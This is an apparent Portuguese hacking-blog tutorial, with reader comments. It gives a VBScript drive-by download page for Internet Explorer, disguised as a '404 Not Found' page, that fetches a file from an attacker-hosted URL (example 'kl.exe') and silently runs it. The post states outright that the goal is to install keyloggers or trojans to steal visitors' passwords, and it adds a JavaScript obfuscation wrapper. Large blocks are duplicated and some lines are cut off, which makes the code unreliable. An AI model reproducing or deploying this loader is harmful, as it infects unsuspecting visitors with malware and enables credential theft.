•••Auto-executavel em Um Site•••
Esse Tutorial Vai Mostrar Como executar algum Programa quando a Pessoa entrar no site, vcs podem colocar um serve de algum trojan ou keylogger, para obter senhas
Bom vamos lá....esse codigo que irei posta é um auto-executavel....
Codigo
<title></title>
<head></head>
<body>
<script language="VBScript">
on error resume next
' due to how ajax works, the file MUST be within the same local domain
dl = "LINK DO PROGRAMA"
' create adodbstream object
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
' xml ajax req
str6="GET"
x.Open str6, dl, False
x.Send
' Get temp directory and create our destination name
fname1="NOME DO PROGRAMA E A EXTENSÃO"
set F = df.createobject("Scripting.FileSystemObj
set tmp = F.GetSpecialFolder(2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
' open adodb stream and write contents of request to file
' like vbs dl+exec code
S.write x.responseBody
' Saves it with CreateOverwrite flag
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>[rox] || 404 Not Found</title>
</head><body>
<center><embed src="" pluginspage="" type="application/x-shockwave-flash" width="550" height="290"> </embed>
<!-- <script>location.href='http://google.co
</body>
</html>
Bom vamos lá....esse codigo que irei posta é um auto-executavel....
Codigo
<title></title>
<head></head>
<body>
<script language="VBScript">
on error resume next
' due to how ajax works, the file MUST be within the same local domain
dl = "LINK DO PROGRAMA"
' create adodbstream object
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
' xml ajax req
str6="GET"
x.Open str6, dl, False
x.Send
' Get temp directory and create our destination name
fname1="NOME DO PROGRAMA E A EXTENSÃO"
set F = df.createobject("Scripting.FileSystemObj
set tmp = F.GetSpecialFolder(2) ' Get tmp folder
fname1= F.BuildPath(tmp,fname1)
S.open
' open adodb stream and write contents of request to file
' like vbs dl+exec code
S.write x.responseBody
' Saves it with CreateOverwrite flag
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</script>
<head>
<title>[rox] || 404 Not Found</title>
</head><body>
<center><embed src="" pluginspage="" type="application/x-shockwave-flash" width="550" height="290"> </embed>
<!-- <script>location.href='http://google.co
</body>
</html>
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
/* Código HTML encripitado em ****************. Para usar este código, mantenha estas linhas de referência*/
var Words = ""
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
Explicando: O codigo acima esta em VBScript
Portanto Só funciona Para quem Usa Internet Explorer
Onde tem "LINK DO PROGRAMA" vc vai por o link do seu Keylogger ou KL, pode tbm outro trojan caso queira :D ....
Exemplo link do programa:
' due to how ajax works, the file MUST be within the same local domain
dl = "www. sitehospedeiro . com . br/kl.exe" <-- sem espaços
E onde tem o "NOME DO PROGRAMA E A EXTENSÃO" que dizer que é o final do link do programa...
Exemplo nome do programa e a extensão:
fname1="kl.exe"
Creditos: Hacker Bauru
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
/* Código HTML encripitado em ****************. Para usar este código, mantenha estas linhas de referência*/
var Words = ""
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
Explicando: O codigo acima esta em VBScript
Portanto Só funciona Para quem Usa Internet Explorer
Onde tem "LINK DO PROGRAMA" vc vai por o link do seu Keylogger ou KL, pode tbm outro trojan caso queira :D ....
Exemplo link do programa:
' due to how ajax works, the file MUST be within the same local domain
dl = "www. sitehospedeiro . com . br/kl.exe" <-- sem espaços
E onde tem o "NOME DO PROGRAMA E A EXTENSÃO" que dizer que é o final do link do programa...
Exemplo nome do programa e a extensão:
fname1="kl.exe"
Creditos: Hacker Bauru
nao funfa nao :c
ResponderExcluircoloka um codigo atualizado ae
atualiza se é que ainda funfa dessa forma pelo que sei nao funfa mais
ResponderExcluir